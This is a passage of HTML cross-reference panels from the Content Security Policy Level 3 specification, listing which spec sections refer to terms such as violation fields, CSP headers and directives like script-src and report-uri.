href=\"#ref-for-violation-resource\">2.4.1. \n    Create a violation object for global, policy, and directive </a>\n    <li><a href=\"#ref-for-violation-resource①\">2.4.2. \n    Create a violation object for request, policy, and directive </a>\n    <li><a href=\"#ref-for-violation-resource②\">4.2.4. \n    Should element’s inline type behavior be blocked by Content Security Policy? </a>\n    <li><a href=\"#ref-for-violation-resource③\">4.2.5. \n    Should navigation request of type from source in target be blocked\n    by Content Security Policy? </a> <a href=\"#ref-for-violation-resource④\">(2)</a>\n    <li><a href=\"#ref-for-violation-resource⑤\">4.2.6. \n    Should navigation response to navigation request of type from source\n    in target be blocked by Content Security Policy? </a>\n    <li><a href=\"#ref-for-violation-resource⑥\">4.3.1. \n    EnsureCSPDoesNotBlockStringCompilation(callerRealm, calleeRealm, source) </a>\n    <li><a href=\"#ref-for-violation-resource⑦\">5.2. \n    Obtain the deprecated serialization of violation </a>\n    <li><a href=\"#ref-for-violation-resource⑧\">5.3. \n    Report a violation </a>\n    <li><a href=\"#ref-for-violation-resource⑨\">6.2.1.1. \n    Is base allowed for document? </a>\n   </ul>\n  </aside>\n  <aside class=\"dfn-panel\" data-for=\"violation-referrer\">\n   <b><a href=\"#violation-referrer\">#violation-referrer</a></b><b>Referenced in:</b>\n   <ul>\n    <li><a href=\"#ref-for-violation-referrer\">2.4.1. \n    Create a violation object for global, policy, and directive </a>\n    <li><a href=\"#ref-for-violation-referrer①\">5.2. \n    Obtain the deprecated serialization of violation </a>\n    <li><a href=\"#ref-for-violation-referrer②\">5.3. \n    Report a violation </a>\n   </ul>\n  </aside>\n  <aside class=\"dfn-panel\" data-for=\"violation-policy\">\n   <b><a href=\"#violation-policy\">#violation-policy</a></b><b>Referenced in:</b>\n   <ul>\n    <li><a href=\"#ref-for-violation-policy\">2.4.1. \n    Create a violation object for global, policy, and directive </a>\n    <li><a href=\"#ref-for-violation-policy①\">5.2. \n    Obtain the deprecated serialization of violation </a> <a href=\"#ref-for-violation-policy②\">(2)</a>\n    <li><a href=\"#ref-for-violation-policy③\">5.3. \n    Report a violation </a> <a href=\"#ref-for-violation-policy④\">(2)</a> <a href=\"#ref-for-violation-policy⑤\">(3)</a> <a href=\"#ref-for-violation-policy⑥\">(4)</a> <a href=\"#ref-for-violation-policy⑦\">(5)</a> <a href=\"#ref-for-violation-policy⑧\">(6)</a>\n   </ul>\n  </aside>\n  <aside class=\"dfn-panel\" data-for=\"violation-disposition\">\n   <b><a href=\"#violation-disposition\">#violation-disposition</a></b><b>Referenced in:</b>\n   <ul>\n    <li><a href=\"#ref-for-violation-disposition\">5.3. \n    Report a violation </a>\n   </ul>\n  </aside>\n  <aside class=\"dfn-panel\" data-for=\"violation-effective-directive\">\n   <b><a href=\"#violation-effective-directive\">#violation-effective-directive</a></b><b>Referenced in:</b>\n   <ul>\n    <li><a href=\"#ref-for-violation-effective-directive\">2.4.1. \n    Create a violation object for global, policy, and directive </a>\n    <li><a href=\"#ref-for-violation-effective-directive①\">5.2. \n    Obtain the deprecated serialization of violation </a> <a href=\"#ref-for-violation-effective-directive②\">(2)</a>\n    <li><a href=\"#ref-for-violation-effective-directive③\">5.3. \n    Report a violation </a> <a href=\"#ref-for-violation-effective-directive④\">(2)</a>\n   </ul>\n  </aside>\n  <aside class=\"dfn-panel\" data-for=\"violation-source-file\">\n   <b><a href=\"#violation-source-file\">#violation-source-file</a></b><b>Referenced in:</b>\n   <ul>\n    <li><a href=\"#ref-for-violation-source-file\">2.4.1. \n    Create a violation object for global, policy, and directive </a> <a href=\"#ref-for-violation-source-file①\">(2)</a>\n    <li><a href=\"#ref-for-violation-source-file②\">5.2. \n    Obtain the deprecated serialization of violation </a> <a href=\"#ref-for-violation-source-file③\">(2)</a>\n    <li><a href=\"#ref-for-violation-source-file④\">5.3. \n    Report a violation </a>\n   </ul>\n  </aside>\n  <aside class=\"dfn-panel\" data-for=\"violation-line-number\">\n   <b><a href=\"#violation-line-number\">#violation-line-number</a></b><b>Referenced in:</b>\n   <ul>\n    <li><a href=\"#ref-for-violation-line-number\">2.4.1. \n    Create a violation object for global, policy, and directive </a>\n    <li><a href=\"#ref-for-violation-line-number①\">5.2. \n    Obtain the deprecated serialization of violation </a>\n    <li><a href=\"#ref-for-violation-line-number②\">5.3. \n    Report a violation </a>\n   </ul>\n  </aside>\n  <aside class=\"dfn-panel\" data-for=\"violation-column-number\">\n   <b><a href=\"#violation-column-number\">#violation-column-number</a></b><b>Referenced in:</b>\n   <ul>\n    <li><a href=\"#ref-for-violation-column-number\">2.4.1. \n    Create a violation object for global, policy, and directive </a>\n    <li><a href=\"#ref-for-violation-column-number①\">5.2. \n    Obtain the deprecated serialization of violation </a>\n    <li><a href=\"#ref-for-violation-column-number②\">5.3. \n    Report a violation </a>\n   </ul>\n  </aside>\n  <aside class=\"dfn-panel\" data-for=\"violation-element\">\n   <b><a href=\"#violation-element\">#violation-element</a></b><b>Referenced in:</b>\n   <ul>\n    <li><a href=\"#ref-for-violation-element\">4.2.4. \n    Should element’s inline type behavior be blocked by Content Security Policy? </a>\n    <li><a href=\"#ref-for-violation-element①\">5.3. \n    Report a violation </a> <a href=\"#ref-for-violation-element②\">(2)</a>\n   </ul>\n  </aside>\n  <aside class=\"dfn-panel\" data-for=\"violation-sample\">\n   <b><a href=\"#violation-sample\">#violation-sample</a></b><b>Referenced in:</b>\n   <ul>\n    <li><a href=\"#ref-for-violation-sample\">1.3. Changes from Level 2</a>\n    <li><a href=\"#ref-for-violation-sample①\">2.4. Violations</a>\n    <li><a href=\"#ref-for-violation-sample②\">4.2.4. \n    Should element’s inline type behavior be blocked by Content Security Policy? </a>\n    <li><a href=\"#ref-for-violation-sample③\">4.3.1. \n    EnsureCSPDoesNotBlockStringCompilation(callerRealm, calleeRealm, source) </a>\n    <li><a href=\"#ref-for-violation-sample④\">5.2. \n    Obtain the deprecated serialization of violation </a>\n    <li><a href=\"#ref-for-violation-sample⑤\">5.3. \n    Report a violation </a>\n   </ul>\n  </aside>\n  <aside class=\"dfn-panel\" data-for=\"header-content-security-policy\">\n   <b><a href=\"#header-content-security-policy\">#header-content-security-policy</a></b><b>Referenced in:</b>\n   <ul>\n    <li><a href=\"#ref-for-header-content-security-policy\">3.1. \n    The Content-Security-Policy HTTP Response Header Field </a>\n   </ul>\n  </aside>\n  <aside class=\"dfn-panel\" data-for=\"header-content-security-policy-report-only\">\n   <b><a href=\"#header-content-security-policy-report-only\">#header-content-security-policy-report-only</a></b><b>Referenced in:</b>\n   <ul>\n    <li><a href=\"#ref-for-header-content-security-policy-report-only\">3.2. \n    The Content-Security-Policy-Report-Only HTTP Response Header Field </a> <a href=\"#ref-for-header-content-security-policy-report-only①\">(2)</a>\n    <li><a href=\"#ref-for-header-content-security-policy-report-only②\">3.3. \n    The &lt;meta> element </a>\n    <li><a href=\"#ref-for-header-content-security-policy-report-only③\">6.2.3. sandbox</a>\n    <li><a href=\"#ref-for-header-content-security-policy-report-only④\">6.2.4. disown-opener</a>\n   </ul>\n  </aside>\n  <aside class=\"dfn-panel\" data-for=\"global-object-csp-list\">\n   <b><a href=\"#global-object-csp-list\">#global-object-csp-list</a></b><b>Referenced in:</b>\n   <ul>\n    <li><a href=\"#ref-for-global-object-csp-list\">4.1.2. \n    Report Content Security Policy violations for request </a>\n    <li><a href=\"#ref-for-global-object-csp-list①\">4.1.3. \n    Should request be blocked by Content Security Policy? </a>\n    <li><a href=\"#ref-for-global-object-csp-list②\">4.1.4. \n    Should response to request be blocked by Content\n    Security Policy? </a>\n    <li><a href=\"#ref-for-global-object-csp-list③\">4.2. \n    Integration with HTML </a>\n    <li><a href=\"#ref-for-global-object-csp-list④\">4.2.2. \n    Initialize a global object’s CSP list </a> <a href=\"#ref-for-global-object-csp-list⑤\">(2)</a> <a href=\"#ref-for-global-object-csp-list⑥\">(3)</a> <a href=\"#ref-for-global-object-csp-list⑦\">(4)</a> <a href=\"#ref-for-global-object-csp-list⑧\">(5)</a> <a href=\"#ref-for-global-object-csp-list⑨\">(6)</a>\n    <li><a href=\"#ref-for-global-object-csp-list①⓪\">4.2.3. \n    Retrieve the CSP list of an object </a> <a href=\"#ref-for-global-object-csp-list①①\">(2)</a> <a href=\"#ref-for-global-object-csp-list①②\">(3)</a> <a href=\"#ref-for-global-object-csp-list①③\">(4)</a>\n    <li><a href=\"#ref-for-global-object-csp-list①④\">4.2.4. \n    Should element’s inline type behavior be blocked by Content Security Policy? </a>\n    <li><a href=\"#ref-for-global-object-csp-list①⑤\">4.3. Integration with ECMAScript</a>\n    <li><a href=\"#ref-for-global-object-csp-list①⑥\">4.3.1. \n    EnsureCSPDoesNotBlockStringCompilation(callerRealm, calleeRealm, source) </a>\n    <li><a href=\"#ref-for-global-object-csp-list①⑦\">6.2.1.1. \n    Is base allowed for document? </a>\n    <li><a href=\"#ref-for-global-object-csp-list①⑧\">7.8. \n    CSP Inheriting to avoid bypasses </a> <a href=\"#ref-for-global-object-csp-list①⑨\">(2)</a> <a href=\"#ref-for-global-object-csp-list②⓪\">(3)</a> <a href=\"#ref-for-global-object-csp-list②①\">(4)</a> <a href=\"#ref-for-global-object-csp-list②②\">(5)</a>\n   </ul>\n  </aside>\n  <aside class=\"dfn-panel\" data-for=\"enforced\">\n   <b><a href=\"#enforced\">#enforced</a></b><b>Referenced in:</b>\n   <ul>\n    <li><a href=\"#ref-for-enforced\">3.1. \n    The Content-Security-Policy HTTP Response Header Field </a>\n    <li><a href=\"#ref-for-enforced①\">4.2. \n    Integration with HTML </a>\n   </ul>\n  </aside>\n  <aside class=\"dfn-panel\" data-for=\"monitored\">\n   <b><a href=\"#monitored\">#monitored</a></b><b>Referenced in:</b>\n   <ul>\n    <li><a href=\"#ref-for-monitored\">3.2. \n    The Content-Security-Policy-Report-Only HTTP Response Header Field </a>\n   </ul>\n  </aside>\n  <aside class=\"dfn-panel\" data-for=\"embedding-document\">\n   <b><a href=\"#embedding-document\">#embedding-document</a></b><b>Referenced in:</b>\n   <ul>\n    <li><a href=\"#ref-for-embedding-document\">4.2.1. \n    Initialize a Document's CSP list </a> <a href=\"#ref-for-embedding-document①\">(2)</a>\n    <li><a href=\"#ref-for-embedding-document②\">4.2.2. \n    Initialize a global object’s CSP list </a>\n    <li><a href=\"#ref-for-embedding-document③\">7.8. \n    CSP Inheriting to avoid bypasses </a> <a href=\"#ref-for-embedding-document④\">(2)</a>\n   </ul>\n  </aside>\n  <aside class=\"dfn-panel\" data-for=\"violation-report\">\n   <b><a href=\"#violation-report\">#violation-report</a></b><b>Referenced in:</b>\n   <ul>\n    <li><a href=\"#ref-for-violation-report\">6.4.1. report-uri</a>\n   </ul>\n  </aside>\n  <aside class=\"dfn-panel\" data-for=\"enumdef-securitypolicyviolationeventdisposition\">\n   <b><a href=\"#enumdef-securitypolicyviolationeventdisposition\">#enumdef-securitypolicyviolationeventdisposition</a></b><b>Referenced in:</b>\n   <ul>\n    <li><a href=\"#ref-for-enumdef-securitypolicyviolationeventdisposition\">5.1. \n    Violation DOM Events </a> <a href=\"#ref-for-enumdef-securitypolicyviolationeventdisposition①\">(2)</a>\n   </ul>\n  </aside>\n  <aside class=\"dfn-panel\" data-for=\"securitypolicyviolationevent\">\n   <b><a href=\"#securitypolicyviolationevent\">#securitypolicyviolationevent</a></b><b>Referenced in:</b>\n   <ul>\n    <li><a href=\"#ref-for-securitypolicyviolationevent\">5.2. \n    Obtain the deprecated serialization of violation </a>\n    <li><a href=\"#ref-for-securitypolicyviolationevent①\">5.3. \n    Report a violation </a> <a href=\"#ref-for-securitypolicyviolationevent②\">(2)</a>\n    <li><a href=\"#ref-for-securitypolicyviolationevent③\">7.5. Violation Reports</a>\n   </ul>\n  </aside>\n  <aside class=\"dfn-panel\" data-for=\"dom-securitypolicyviolationevent-documenturi\">\n   <b><a href=\"#dom-securitypolicyviolationevent-documenturi\">#dom-securitypolicyviolationevent-documenturi</a></b><b>Referenced in:</b>\n   <ul>\n    <li><a href=\"#ref-for-dom-securitypolicyviolationevent-documenturi\">5.3. \n    Report a violation </a>\n   </ul>\n  </aside>\n  <aside class=\"dfn-panel\" data-for=\"dom-securitypolicyviolationevent-referrer\">\n   <b><a href=\"#dom-securitypolicyviolationevent-referrer\">#dom-securitypolicyviolationevent-referrer</a></b><b>Referenced in:</b>\n   <ul>\n    <li><a href=\"#ref-for-dom-securitypolicyviolationevent-referrer\">5.3. \n    Report a violation </a>\n   </ul>\n  </aside>\n  <aside class=\"dfn-panel\" data-for=\"dom-securitypolicyviolationevent-blockeduri\">\n   <b><a href=\"#dom-securitypolicyviolationevent-blockeduri\">#dom-securitypolicyviolationevent-blockeduri</a></b><b>Referenced in:</b>\n   <ul>\n    <li><a href=\"#ref-for-dom-securitypolicyviolationevent-blockeduri\">5.3. \n    Report a violation </a>\n   </ul>\n  </aside>\n  <aside class=\"dfn-panel\" data-for=\"dom-securitypolicyviolationevent-violateddirective\">\n   <b><a href=\"#dom-securitypolicyviolationevent-violateddirective\">#dom-securitypolicyviolationevent-violateddirective</a></b><b>Referenced in:</b>\n   <ul>\n    <li><a href=\"#ref-for-dom-securitypolicyviolationevent-violateddirective\">5.3. \n    Report a violation </a> <a href=\"#ref-for-dom-securitypolicyviolationevent-violateddirective①\">(2)</a>\n   </ul>\n  </aside>\n  <aside class=\"dfn-panel\" data-for=\"dom-securitypolicyviolationevent-effectivedirective\">\n   <b><a href=\"#dom-securitypolicyviolationevent-effectivedirective\">#dom-securitypolicyviolationevent-effectivedirective</a></b><b>Referenced in:</b>\n   <ul>\n    <li><a href=\"#ref-for-dom-securitypolicyviolationevent-effectivedirective\">5.3. \n    Report a violation </a> <a href=\"#ref-for-dom-securitypolicyviolationevent-effectivedirective①\">(2)</a>\n   </ul>\n  </aside>\n  <aside class=\"dfn-panel\" data-for=\"dom-securitypolicyviolationevent-originalpolicy\">\n   <b><a href=\"#dom-securitypolicyviolationevent-originalpolicy\">#dom-securitypolicyviolationevent-originalpolicy</a></b><b>Referenced in:</b>\n   <ul>\n    <li><a href=\"#ref-for-dom-securitypolicyviolationevent-originalpolicy\">5.3. \n    Report a violation </a>\n   </ul>\n  </aside>\n  <aside class=\"dfn-panel\" data-for=\"dom-securitypolicyviolationevent-sourcefile\">\n   <b><a href=\"#dom-securitypolicyviolationevent-sourcefile\">#dom-securitypolicyviolationevent-sourcefile</a></b><b>Referenced in:</b>\n   <ul>\n    <li><a href=\"#ref-for-dom-securitypolicyviolationevent-sourcefile\">5.3. \n    Report a violation </a>\n   </ul>\n  </aside>\n  <aside class=\"dfn-panel\" data-for=\"dom-securitypolicyviolationevent-sample\">\n   <b><a href=\"#dom-securitypolicyviolationevent-sample\">#dom-securitypolicyviolationevent-sample</a></b><b>Referenced in:</b>\n   <ul>\n    <li><a href=\"#ref-for-dom-securitypolicyviolationevent-sample\">5.2. \n    Obtain the deprecated serialization of violation </a>\n    <li><a href=\"#ref-for-dom-securitypolicyviolationevent-sample①\">5.3. \n    Report a violation </a>\n    <li><a href=\"#ref-for-dom-securitypolicyviolationevent-sample②\">7.5. Violation Reports</a>\n   </ul>\n  </aside>\n  <aside class=\"dfn-panel\" data-for=\"dom-securitypolicyviolationevent-disposition\">\n   <b><a href=\"#dom-securitypolicyviolationevent-disposition\">#dom-securitypolicyviolationevent-disposition</a></b><b>Referenced in:</b>\n   <ul>\n    <li><a href=\"#ref-for-dom-securitypolicyviolationevent-disposition\">5.3. \n    Report a violation </a>\n   </ul>\n  </aside>\n  <aside class=\"dfn-panel\" data-for=\"dom-securitypolicyviolationevent-statuscode\">\n   <b><a href=\"#dom-securitypolicyviolationevent-statuscode\">#dom-securitypolicyviolationevent-statuscode</a></b><b>Referenced in:</b>\n   <ul>\n    <li><a href=\"#ref-for-dom-securitypolicyviolationevent-statuscode\">5.3. \n    Report a violation </a>\n   </ul>\n  </aside>\n  <aside class=\"dfn-panel\" data-for=\"dom-securitypolicyviolationevent-linenumber\">\n   <b><a href=\"#dom-securitypolicyviolationevent-linenumber\">#dom-securitypolicyviolationevent-linenumber</a></b><b>Referenced in:</b>\n   <ul>\n    <li><a href=\"#ref-for-dom-securitypolicyviolationevent-linenumber\">5.3. \n    Report a violation </a>\n   </ul>\n  </aside>\n  <aside class=\"dfn-panel\" data-for=\"dom-securitypolicyviolationevent-columnnumber\">\n   <b><a href=\"#dom-securitypolicyviolationevent-columnnumber\">#dom-securitypolicyviolationevent-columnnumber</a></b><b>Referenced in:</b>\n   <ul>\n    <li><a href=\"#ref-for-dom-securitypolicyviolationevent-columnnumber\">5.3. \n    Report a violation </a>\n   </ul>\n  </aside>\n  <aside class=\"dfn-panel\" data-for=\"dictdef-securitypolicyviolationeventinit\">\n   <b><a href=\"#dictdef-securitypolicyviolationeventinit\">#dictdef-securitypolicyviolationeventinit</a></b><b>Referenced in:</b>\n   <ul>\n    <li><a href=\"#ref-for-dictdef-securitypolicyviolationeventinit\">5.1. \n    Violation DOM Events </a>\n   </ul>\n  </aside>\n  <aside class=\"dfn-panel\" data-for=\"fetch-directives\">\n   <b><a href=\"#fetch-directives\">#fetch-directives</a></b><b>Referenced in:</b>\n   <ul>\n    <li><a href=\"#ref-for-fetch-directives\">6.1.3. default-src</a> <a href=\"#ref-for-fetch-directives①\">(2)</a>\n    <li><a href=\"#ref-for-fetch-directives②\">6.6.1.11. \n    Get the effective directive for request </a>\n   </ul>\n  </aside>\n  <aside class=\"dfn-panel\" data-for=\"child-src\">\n   <b><a href=\"#child-src\">#child-src</a></b><b>Referenced in:</b>\n   <ul>\n    <li><a href=\"#ref-for-child-src\">6.1.1. child-src</a> <a href=\"#ref-for-child-src①\">(2)</a>\n    <li><a href=\"#ref-for-child-src②\">10.1. \n    Directive Registry </a>\n   </ul>\n  </aside>\n  <aside class=\"dfn-panel\" data-for=\"connect-src\">\n   <b><a href=\"#connect-src\">#connect-src</a></b><b>Referenced in:</b>\n   <ul>\n    <li><a href=\"#ref-for-connect-src\">6.1.2. connect-src</a>\n    <li><a href=\"#ref-for-connect-src①\">6.1.3. default-src</a> <a href=\"#ref-for-connect-src②\">(2)</a>\n    <li><a href=\"#ref-for-connect-src③\">10.1. \n    Directive Registry </a>\n   </ul>\n  </aside>\n  <aside class=\"dfn-panel\" data-for=\"default-src\">\n   <b><a href=\"#default-src\">#default-src</a></b><b>Referenced in:</b>\n   <ul>\n    <li><a href=\"#ref-for-default-src\">6. \n    Content Security Policy Directives </a>\n    <li><a href=\"#ref-for-default-src①\">6.1.3. default-src</a> <a href=\"#ref-for-default-src②\">(2)</a> <a href=\"#ref-for-default-src③\">(3)</a>\n    <li><a href=\"#ref-for-default-src④\">8.2. \n    Usage of \"'strict-dynamic'\" </a>\n    <li><a href=\"#ref-for-default-src⑤\">10.1. \n    Directive Registry </a>\n   </ul>\n  </aside>\n  <aside class=\"dfn-panel\" data-for=\"font-src\">\n   <b><a href=\"#font-src\">#font-src</a></b><b>Referenced in:</b>\n   <ul>\n    <li><a href=\"#ref-for-font-src\">6.1. \n    Fetch Directives </a>\n    <li><a href=\"#ref-for-font-src①\">6.1.3. default-src</a> <a href=\"#ref-for-font-src②\">(2)</a>\n    <li><a href=\"#ref-for-font-src③\">6.1.4. font-src</a>\n    <li><a href=\"#ref-for-font-src④\">10.1. \n    Directive Registry </a>\n   </ul>\n  </aside>\n  <aside class=\"dfn-panel\" data-for=\"frame-src\">\n   <b><a href=\"#frame-src\">#frame-src</a></b><b>Referenced in:</b>\n   <ul>\n    <li><a href=\"#ref-for-frame-src\">6.1.1. child-src</a>\n    <li><a href=\"#ref-for-frame-src①\">6.1.3. default-src</a> <a href=\"#ref-for-frame-src②\">(2)</a>\n    <li><a href=\"#ref-for-frame-src③\">6.1.5. frame-src</a>\n    <li><a href=\"#ref-for-frame-src④\">10.1. \n    Directive Registry </a>\n   </ul>\n  </aside>\n  <aside class=\"dfn-panel\" data-for=\"img-src\">\n   <b><a href=\"#img-src\">#img-src</a></b><b>Referenced in:</b>\n   <ul>\n    <li><a href=\"#ref-for-img-src\">6.1.3. default-src</a> <a href=\"#ref-for-img-src①\">(2)</a>\n    <li><a href=\"#ref-for-img-src②\">6.1.6. img-src</a>\n    <li><a href=\"#ref-for-img-src③\">7.6. Paths and Redirects</a>\n    <li><a href=\"#ref-for-img-src④\">10.1. \n    Directive Registry </a>\n   </ul>\n  </aside>\n  <aside class=\"dfn-panel\" data-for=\"manifest-src\">\n   <b><a href=\"#manifest-src\">#manifest-src</a></b><b>Referenced in:</b>\n   <ul>\n    <li><a href=\"#ref-for-manifest-src\">6.1.3. default-src</a> <a href=\"#ref-for-manifest-src①\">(2)</a>\n    <li><a href=\"#ref-for-manifest-src②\">6.1.7. manifest-src</a>\n    <li><a href=\"#ref-for-manifest-src③\">10.1. \n    Directive Registry </a>\n   </ul>\n  </aside>\n  <aside class=\"dfn-panel\" data-for=\"media-src\">\n   <b><a href=\"#media-src\">#media-src</a></b><b>Referenced in:</b>\n   <ul>\n    <li><a href=\"#ref-for-media-src\">6.1.3. default-src</a> <a href=\"#ref-for-media-src①\">(2)</a>\n    <li><a href=\"#ref-for-media-src②\">6.1.8. media-src</a>\n    <li><a href=\"#ref-for-media-src③\">10.1. \n    Directive Registry </a>\n   </ul>\n  </aside>\n  <aside class=\"dfn-panel\" data-for=\"object-src\">\n   <b><a href=\"#object-src\">#object-src</a></b><b>Referenced in:</b>\n   <ul>\n    <li><a href=\"#ref-for-object-src\">6. \n    Content Security Policy Directives </a>\n    <li><a href=\"#ref-for-object-src①\">6.1.3. default-src</a> <a href=\"#ref-for-object-src②\">(2)</a>\n    <li><a href=\"#ref-for-object-src③\">6.1.9. object-src</a>\n    <li><a href=\"#ref-for-object-src④\">10.1. \n    Directive Registry </a>\n   </ul>\n  </aside>\n  <aside class=\"dfn-panel\" data-for=\"script-src\">\n   <b><a href=\"#script-src\">#script-src</a></b><b>Referenced in:</b>\n   <ul>\n    <li><a href=\"#ref-for-script-src\">6. \n    Content Security Policy Directives </a>\n    <li><a href=\"#ref-for-script-src①\">6.1. \n    Fetch Directives </a>\n    <li><a href=\"#ref-for-script-src②\">6.1.3. default-src</a> <a href=\"#ref-for-script-src③\">(2)</a> <a href=\"#ref-for-script-src④\">(3)</a>\n    <li><a href=\"#ref-for-script-src⑤\">8.2. \n    Usage of \"'strict-dynamic'\" </a> <a href=\"#ref-for-script-src⑥\">(2)</a>\n    <li><a href=\"#ref-for-script-src⑦\">8.3. \n      Usage of \"'unsafe-hashed-attributes'\" </a>\n    <li><a href=\"#ref-for-script-src⑧\">10.1. \n    Directive Registry </a>\n   </ul>\n  </aside>\n  <aside class=\"dfn-panel\" data-for=\"style-src\">\n   <b><a href=\"#style-src\">#style-src</a></b><b>Referenced in:</b>\n   <ul>\n    <li><a href=\"#ref-for-style-src\">6.1.3. default-src</a> <a href=\"#ref-for-style-src①\">(2)</a>\n    <li><a href=\"#ref-for-style-src②\">7.4. CSS Parsing</a>\n    <li><a href=\"#ref-for-style-src③\">10.1. \n    Directive Registry </a>\n   </ul>\n  </aside>\n  <aside class=\"dfn-panel\" data-for=\"worker-src\">\n   <b><a href=\"#worker-src\">#worker-src</a></b><b>Referenced in:</b>\n   <ul>\n    <li><a href=\"#ref-for-worker-src\">6.1.1. child-src</a>\n    <li><a href=\"#ref-for-worker-src①\">6.1.3. default-src</a> <a href=\"#ref-for-worker-src②\">(2)</a>\n    <li><a href=\"#ref-for-worker-src③\">6.1.12. worker-src</a>\n    <li><a href=\"#ref-for-worker-src④\">10.1. \n    Directive Registry </a>\n   </ul>\n  </aside>\n  <aside class=\"dfn-panel\" data-for=\"base-uri\">\n   <b><a href=\"#base-uri\">#base-uri</a></b><b>Referenced in:</b>\n   <ul>\n    <li><a href=\"#ref-for-base-uri\">6.2.1.1. \n    Is base allowed for document? </a>\n    <li><a href=\"#ref-for-base-uri①\">7.3. Nonce Retargeting</a>\n    <li><a href=\"#ref-for-base-uri②\">10.1. \n    Directive Registry </a>\n   </ul>\n  </aside>\n  <aside class=\"dfn-panel\" data-for=\"plugin-types\">\n   <b><a href=\"#plugin-types\">#plugin-types</a></b><b>Referenced in:</b>\n   <ul>\n    <li><a href=\"#ref-for-plugin-types\">6.2.2. plugin-types</a> <a href=\"#ref-for-plugin-types①\">(2)</a>\n    <li><a href=\"#ref-for-plugin-types②\">10.1. \n    Directive Registry </a>\n   </ul>\n  </aside>\n  <aside class=\"dfn-panel\" data-for=\"grammardef-media-type-list\">\n   <b><a href=\"#grammardef-media-type-list\">#grammardef-media-type-list</a></b><b>Referenced in:</b>\n   <ul>\n    <li><a href=\"#ref-for-grammardef-media-type-list\">6.2.2. plugin-types</a>\n   </ul>\n  </aside>\n  <aside class=\"dfn-panel\" data-for=\"grammardef-media-type\">\n   <b><a href=\"#grammardef-media-type\">#grammardef-media-type</a></b><b>Referenced in:</b>\n   <ul>\n    <li><a href=\"#ref-for-grammardef-media-type\">6.2.2. plugin-types</a> <a href=\"#ref-for-grammardef-media-type①\">(2)</a>\n   </ul>\n  </aside>\n  <aside class=\"dfn-panel\" data-for=\"should-plugin-element-be-blocked-a-priori-by-content-security-policy\">\n   <b><a href=\"#should-plugin-element-be-blocked-a-priori-by-content-security-policy\">#should-plugin-element-be-blocked-a-priori-by-content-security-policy</a></b><b>Referenced in:</b>\n   <ul>\n    <li><a href=\"#ref-for-should-plugin-element-be-blocked-a-priori-by-content-security-policy\">4.2. \n    Integration with HTML </a>\n   </ul>\n  </aside>\n  <aside class=\"dfn-panel\" data-for=\"sandbox\">\n   <b><a href=\"#sandbox\">#sandbox</a></b><b>Referenced in:</b>\n   <ul>\n    <li><a href=\"#ref-for-sandbox\">6.2.3.2. \n    sandbox Initialization </a>\n    <li><a href=\"#ref-for-sandbox①\">10.1. \n    Directive Registry </a>\n   </ul>\n  </aside>\n  <aside class=\"dfn-panel\" data-for=\"disown-opener\">\n   <b><a href=\"#disown-opener\">#disown-opener</a></b><b>Referenced in:</b>\n   <ul>\n    <li><a href=\"#ref-for-disown-opener\">1.3. Changes from Level 2</a>\n    <li><a href=\"#ref-for-disown-opener①\">10.1. \n    Directive Registry </a>\n   </ul>\n  </aside>\n  <aside class=\"dfn-panel\" data-for=\"form-action\">\n   <b><a href=\"#form-action\">#form-action</a></b><b>Referenced in:</b>\n   <ul>\n    <li><a href=\"#ref-for-form-action\">10.1. \n    Directive Registry </a>\n   </ul>\n  </aside>\n  <aside class=\"dfn-panel\" data-for=\"frame-ancestors\">\n   <b><a href=\"#frame-ancestors\">#frame-ancestors</a></b><b>Referenced in:</b>\n   <ul>\n    <li><a href=\"#ref-for-frame-ancestors\">6.3.2.2. \n\t\tRelation to X-Frame-Options </a> <a href=\"#ref-for-frame-ancestors①\">(2)</a> <a href=\"#ref-for-frame-ancestors②\">(3)</a>\n    <li><a href=\"#ref-for-frame-ancestors③\">10.1. \n    Directive Registry </a>\n   </ul>\n  </aside>\n  <aside class=\"dfn-panel\" data-for=\"grammardef-ancestor-source-list\">\n   <b><a href=\"#grammardef-ancestor-source-list\">#grammardef-ancestor-source-list</a></b><b>Referenced in:</b>\n   <ul>\n    <li><a href=\"#ref-for-grammardef-ancestor-source-list\">6.3.2. frame-ancestors</a>\n   </ul>\n  </aside>\n  <aside class=\"dfn-panel\" data-for=\"grammardef-ancestor-source\">\n   <b><a href=\"#grammardef-ancestor-source\">#grammardef-ancestor-source</a></b><b>Referenced in:</b>\n   <ul>\n    <li><a href=\"#ref-for-grammardef-ancestor-source\">6.3.2. frame-ancestors</a> <a href=\"#ref-for-grammardef-ancestor-source①\">(2)</a>\n   </ul>\n  </aside>\n  <aside class=\"dfn-panel\" data-for=\"navigation-to\">\n   <b><a href=\"#navigation-to\">#navigation-to</a></b><b>Referenced in:</b>\n   <ul>\n    <li><a href=\"#ref-for-navigation-to\">1.3. Changes from Level 2</a>\n   </ul>\n  </aside>\n  <aside class=\"dfn-panel\" data-for=\"report-uri\">\n   <b><a href=\"#report-uri\">#report-uri</a></b><b>Referenced in:</b>\n   <ul>\n    <li><a href=\"#ref-for-report-uri\">5.2. \n    Obtain the deprecated serialization of violation </a>\n    <li><a href=\"#ref-for-report-uri①\">5.3. \n    Report a violation </a>\n    <li><a href=\"#ref-for-report-uri②\">6.4.1. report-uri</a> <a href=\"#ref-for-report-uri③\">(2)</a>\n    <li><a href=\"#ref-for-report-uri④\">10.1. \n    Directive Registry </a>\n   </ul>\n  </aside>\n  <aside class=\"dfn-panel\" data-for=\"report-to\">\n   <b><a href=\"#report-to\">#report-to</a></b><b>Referenced in:</b>\n   <ul>\n    <li><a href=\"#ref-for-report-to\">5.2. \n    Obtain the deprecated serialization of violation </a>\n    <li><a href=\"#ref-for-report-to①\">5.3. \n    Report a violation </a> <a href=\"#ref-for-report-to②\">(2)</a>\n    <li><a href=\"#ref-for-report-to③\">6.4.1. report-uri</a> <a href=\"#ref-for-report-to④\">(2)</a>\n    <li><a href=\"#ref-for-report-to⑤\">10.1. \n    Directive Registry </a>\n   </ul>\n  </aside>\n  <aside class=\"dfn-panel\" data-for=\"scheme-part-match\">\n   <b><a href=\"#scheme-part-match\">#scheme-part-match</a></b><b>Referenced in:</b>\n   <ul>\n    <li><a href=\"#ref-for-scheme-part-match\">6.6.1.6. \n    Does url match expression in origin with redirect count? </a> <a href=\"#ref-for-scheme-part-match①\">(2)</a>\n    <li><a href=\"#ref-for-scheme-part-match②\">6.6.1.7. \n    scheme-part matching </a> <a href=\"#ref-for-scheme-part-match③\">(2)</a>\n   </ul>\n  </aside>\n  <aside class=\"dfn-panel\" data-for=\"host-part-match\">\n   <b><a href=\"#host-part-match\">#host-part-match</a></b><b>Referenced in:</b>\n   <ul>\n    <li><a href=\"#ref-for-host-part-match\">6.6.1.6. \n    Does 